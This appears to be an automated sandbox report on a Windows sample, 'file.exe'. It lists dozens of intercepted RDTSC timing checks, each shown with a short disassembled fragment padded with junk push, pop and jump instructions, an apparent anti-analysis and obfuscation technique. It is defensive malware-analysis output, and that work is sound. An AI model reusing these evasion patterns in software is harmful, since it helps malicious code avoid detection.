Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C2B30 second address: 7C2B34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C2B34 second address: 7C2B38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1905 second address: 7C1917 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2BE511FAEDh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C7ADC second address: 7C7B08 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jo 00007F2BE511B126h 0x00000009 pop ebx 0x0000000a pushad 0x0000000b jns 00007F2BE511B126h 0x00000011 jmp 00007F2BE511B137h 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C9D34 second address: 7C9D65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511FAEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F2BE511FAF2h 0x00000010 jmp 00007F2BE511FAEFh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CD073 second address: 7CD092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F2BE511B134h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CF439 second address: 7CF43D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D4B4E second address: 7D4B53 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D4B53 second address: 7D4B70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push edx 0x00000008 jmp 00007F2BE511FAECh 0x0000000d pop edx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D4B70 second address: 7D4B7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D4B7B second address: 7D4B81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D4B81 second address: 7D4B85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D4B85 second address: 7D4B8F instructions: 0x00000000 rdtsc 0x00000002 jno 00007F2BE511FAE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E11F0 second address: 7E121E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2BE511B138h 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F2BE511B12Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5DB2 second address: 7E5DC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F2BE511FAEEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5DC0 second address: 7E5DDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 ja 00007F2BE511B133h 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5DDE second address: 7E5DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5DE4 second address: 7E5DEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5DEF second address: 7E5DF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5DF3 second address: 7E5DFD instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F2BE511B126h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5DFD second address: 7E5E14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F2BE511FAEFh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70BF76 second address: 70BF7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70BF7C second address: 70BF80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E8DDC second address: 7E8DEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F2BE511B126h 0x0000000a popad 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8BD3 second address: 7F8BDD instructions: 0x00000000 rdtsc 0x00000002 js 00007F2BE511FAE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8BDD second address: 7F8BE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F753E second address: 7F7542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F7542 second address: 7F7548 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F7548 second address: 7F757C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F2BE511FAF8h 0x0000000c pop edi 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F2BE511FAEDh 0x00000017 push edx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F757C second address: 7F7582 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F7582 second address: 7F7588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F7588 second address: 7F7590 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F76D9 second address: 7F76EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F2BE511FAE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jo 00007F2BE511FAE6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F76EF second address: 7F76F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F76F3 second address: 7F76F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F7976 second address: 7F79A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F2BE511B12Fh 0x0000000c jmp 00007F2BE511B134h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F79A0 second address: 7F79B3 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F2BE511FAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jnp 00007F2BE511FAE6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F7B25 second address: 7F7B29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F7C5E second address: 7F7CD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F2BE511FAF9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F2BE511FAF2h 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007F2BE511FAF9h 0x0000001b popad 0x0000001c jbe 00007F2BE511FAFCh 0x00000022 popad 0x00000023 push ecx 0x00000024 push ecx 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8952 second address: 7F8957 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC678 second address: 7FC6A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511FAF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F2BE511FAEEh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC6A0 second address: 7FC6A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80C809 second address: 80C825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2BE511FAF6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80C64A second address: 80C65E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F2BE511B12Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80C65E second address: 80C688 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511FAECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F2BE511FAEAh 0x00000012 jmp 00007F2BE511FAECh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806EBB second address: 806EDE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 je 00007F2BE511B126h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F2BE511B132h 0x00000014 jns 00007F2BE511B126h 0x0000001a jng 00007F2BE511B126h 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806EDE second address: 806EE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 833EB2 second address: 833EBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F2BE511B126h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 833EBC second address: 833EDA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511FAF8h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832E7A second address: 832E80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832E80 second address: 832EA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnl 00007F2BE511FAE6h 0x0000000d jnc 00007F2BE511FAE6h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jl 00007F2BE511FAE6h 0x0000001e push eax 0x0000001f pop eax 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832FFC second address: 833000 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 833000 second address: 833026 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F2BE511FAE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F2BE511FAE6h 0x00000014 jmp 00007F2BE511FAF2h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 833026 second address: 833048 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c jp 00007F2BE511B13Ah 0x00000012 jmp 00007F2BE511B12Eh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 833048 second address: 833050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 833050 second address: 833056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8331BA second address: 8331C4 instructions: 0x00000000 rdtsc 0x00000002 je 00007F2BE511FAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 833348 second address: 833366 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F2BE511B135h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 833366 second address: 83336D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83336D second address: 833372 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83361C second address: 833626 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F2BE511FAE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 833626 second address: 833636 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F2BE511B126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 833636 second address: 83363A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83363A second address: 833656 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511B12Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 833793 second address: 8337B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2BE511FAF7h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83390A second address: 83390E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 833A97 second address: 833AA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F2BE511FAE6h 0x0000000a jnc 00007F2BE511FAE6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 833AA7 second address: 833AAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 837EC0 second address: 837EC6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8381D8 second address: 8381DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 839DEC second address: 839E31 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F2BE511FAF5h 0x00000008 jmp 00007F2BE511FAF0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 je 00007F2BE511FAFAh 0x00000017 jmp 00007F2BE511FAF4h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0DDB second address: 4CE0DE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0DE1 second address: 4CE0E14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, bx 0x00000006 push edi 0x00000007 pop ecx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F2BE511FAEDh 0x00000015 add al, FFFFFFA6h 0x00000018 jmp 00007F2BE511FAF1h 0x0000001d popfd 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0E14 second address: 4CE0E31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, ax 0x00000006 movzx ecx, di 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F2BE511B12Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0E31 second address: 4CE0E43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop eax 0x00000005 push edi 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0E43 second address: 4CE0E47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0E47 second address: 4CE0E4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D305AD second address: 4D305B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D305B1 second address: 4D305B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC010A second address: 4CC013D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, ebx 0x00000005 jmp 00007F2BE511B133h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F2BE511B135h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC013D second address: 4CC0150 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, E882h 0x00000007 movsx ebx, ax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0150 second address: 4CC0157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0157 second address: 4CC0198 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F2BE511FAEBh 0x00000009 or si, 082Eh 0x0000000e jmp 00007F2BE511FAF9h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F2BE511FAEDh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0198 second address: 4CC019E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC019E second address: 4CC01A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC01A2 second address: 4CC01ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov bl, 98h 0x0000000d jmp 00007F2BE511B12Eh 0x00000012 popad 0x00000013 push dword ptr [ebp+04h] 0x00000016 jmp 00007F2BE511B130h 0x0000001b push dword ptr [ebp+0Ch] 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F2BE511B137h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0AC3 second address: 4CE0AEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushfd 0x00000008 jmp 00007F2BE511FAF2h 0x0000000d xor si, F508h 0x00000012 jmp 00007F2BE511FAEBh 0x00000017 popfd 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0AEE second address: 4CE0B13 instructions: 0x00000000 rdtsc 0x00000002 call 00007F2BE511B138h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0B13 second address: 4CE0B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0B17 second address: 4CE0B1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0B1D second address: 4CE0B23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0B23 second address: 4CE0B27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0B27 second address: 4CE0B65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b jmp 00007F2BE511FAF8h 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F2BE511FAF7h 0x00000019 rdtsc
